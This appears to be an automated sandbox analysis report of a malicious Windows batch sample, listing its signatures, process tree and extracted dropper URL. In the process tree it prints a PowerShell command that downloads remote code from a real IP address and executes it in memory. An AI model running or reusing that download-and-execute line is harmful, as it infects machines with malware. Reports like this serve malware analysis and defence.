Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    137s
  • resource
    win10v191014
  • submitted
    16-12-2019 11:10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    wKmecP8k.bat

  • Sample

    191216-t3y4krh43n

  • SHA256

    a2d1bfcdf15107fc32cacf9b39a4eb453610f20fc79328e3428c1551cf03e356

Score
10/10
evasionspywaretrojandiscovery

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/wKmecP8k

Signatures

  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious use of WriteProcessMemory 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Checks for installed software on the system 1 TTPs 63 IoCs
    discovery
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Enumerates system info in registry 2 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\wKmecP8k.bat"
    1⤵
      PID:5040
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/wKmecP8k');Invoke-KSPUREEKGNMIALY;Start-Sleep -s 10000"
        2⤵
          PID:5084
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 704
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            PID:300
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k WerSvcGroup
        1⤵
        • Suspicious use of WriteProcessMemory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        PID:1976
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s WdiSystemHost
        1⤵
          PID:4468
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s PcaSvc
          1⤵
            PID:3184
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
            1⤵
            • Drops file in System32 directory
            PID:3104
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k wsappx -s ClipSVC
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4720
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s wisvc
            1⤵
              PID:4772
            • C:\Windows\system32\SppExtComObj.exe
              C:\Windows\system32\SppExtComObj.exe -Embedding
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:4748
              • C:\Windows\System32\SLUI.exe
                "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
                2⤵
                  PID:3864
              • \??\c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s BITS
                1⤵
                • Drops file in Windows directory
                PID:3924
              • \??\c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
                1⤵
                  PID:4040
                • \??\c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
                  1⤵
                    PID:4656
                  • \??\c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
                    1⤵
                      PID:4988
                    • \??\c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k unistacksvcgroup
                      1⤵
                        PID:3656

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\ProgramData\Microsoft\Windows\WER\Temp\WERC832.tmp.csv
                        Download Submit

                      • C:\ProgramData\Microsoft\Windows\WER\Temp\WERC852.tmp.txt
                        Download Submit

                      • memory/300-0-0x0000000004610000-0x0000000004611000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/300-4-0x0000000004F30000-0x0000000004F31000-memory.dmp

                        Filesize

                        4KB

                        Download